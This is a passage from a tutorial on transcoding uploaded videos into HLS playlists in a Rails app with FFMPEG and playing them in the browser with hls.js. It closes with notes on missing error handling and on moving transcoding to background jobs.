            movie = FFMPEG::Movie.new(original.path)

            master_playlist = File.open(File.join("#{path}","#{@@_uuid}-master.m3u8"), "w")
            master_playlist.write("#EXTM3U\n")
            master_playlist.write("#EXT-X-VERSION:3\n")
            master_playlist.write("#EXT-X-INDEPENDENT-SEGMENTS\n")

            generate_hls_playlist(movie, path, @@_uuid, 720, "2000k", master_playlist)
            generate_hls_playlist(movie, path, @@_uuid, 1080, "4000k", master_playlist)

            versions[:hls_playlist] << File.open(master_playlist.path)

            Dir.glob("#{path}/#{@@_uuid}-w*.m3u8") do |m3u8|
                versions[:hls_playlist] << File.open(m3u8)
            end
            Dir.glob("#{path}/#{@@_uuid}*.ts").each do |ts|
                versions[:hls_playlist] << File.open(ts)
            end

            master_playlist.close
            FileUtils.rm_rf("#{path}")
        end
        versions
    end
end

Restart your rails server, open up to the Videos index, create a new video, and let it upload.

After the video uploads you should see the following rails error screen:

Believe it or not, this is actually what we want to see. When we added the :versions plugin to our VideoUploader class, it changed the way that we need to access the file from our erb code.

Update the app/views/videos/show.html.erb to be the following. Note that since :hls_playlist is an array, we're calling .first.url, because when we created the :hls_playlist we set the master.m3u8 file to be the first element in the array.



<p id="notice"><%= notice %></p>

<p><strong>Name: </strong><%= @video.name %></p>

<p><strong>@video.original_video[:hls_playlist].first.url</strong> <%= @video.original_video[:hls_playlist].first.url %></p>

<%= link_to 'Edit', edit_video_path(@video) %> |
<%= link_to 'Back', videos_path %>

With that update made, navigating back to the show page for your newly uploaded video should echo back the url of the master .m3u8 playlist file. That's great, but now how do we actually play it?

In a real app, you'd want to pick a video player for your frontend of choice that supports HLS, but to quickly see what we're working with, I'm going to use a cdn version of HLS.js to get us up and running with a video player.

Add the following code to your show view, it's the example code from the hls.js github modified to use our :hls_playlist uploaded file as the video source.



<script src="https://cdnjs.cloudflare.com/ajax/libs/hls.js/0.5.14/hls.min.js" integrity="sha512-js37JxjD6gtmJ3N2Qzl9vQm4wcmTilFffk0nTSKzgr3p6aitg73LR205203wTzCCC/NZYO2TAxSa0Lr2VMLQvQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>

<video id="video" controls></video>
<script>
  var video = document.getElementById('video');
  var videoSrc = '<%= @video.original_video[:hls_playlist].first.url %>';
  if (Hls.isSupported()) {
    console.log("HLS Supported")
    var hls = new Hls();
    hls.loadSource(videoSrc);
    hls.attachMedia(video);
  }
  // HLS.js is not supported on platforms that do not have Media Source
  // Extensions (MSE) enabled.
  //
  // When the browser has built-in HLS support (check using `canPlayType`),
  // we can provide an HLS manifest (i.e. .m3u8 URL) directly to the video
  // element through the `src` property. This is using the built-in support
  // of the plain video element, without using HLS.js.
  //
  // Note: it would be more normal to wait on the 'canplay' event below however
  // on Safari (where you are most likely to find built-in HLS support) the
  // video.src URL must be on the user-driven white-list before a 'canplay'
  // event will be emitted; the last video event that can be reliably
  // listened-for when the URL is not on the white-list is 'loadedmetadata'.
  else if (video.canPlayType('application/vnd.apple.mpegurl')) {
    video.src = videoSrc;
  }
</script>

Voila, we have HLS video!

Closing Notes:

There's still a lot of work left to do for this to be anywhere near ready to go into a real application. Some of the biggest areas for improvements are adding frontend feedback on video upload progress & moving the video processing transcoding to a background job to free up the webserver resources.

Another major area for improvement is that I've implemented no error / exception handling. Definitely something that should be added in.

The actual m3u8 transcoding processes will also need to be setup as per your individual project's needs. In the example here, I transcoded the lowest quality version at a lower resolution to attempt to further cut down on bandwidth needs, but if you'd like to do something similar to youtube, where they have different resolutions ie 1080p, 720p, etc, it should be simple enough to create new arrays in the versions hash and name save the corresponding resolution to the variable.

If I do a pt. 2 on this tutorial the next thing I'd like to tackle is hosting the videos on AWS S3 and using Cloudfront as a CDN. This also opens up more possibilities in terms of restricting video access only to authenticated users via signed urls and signed cookies.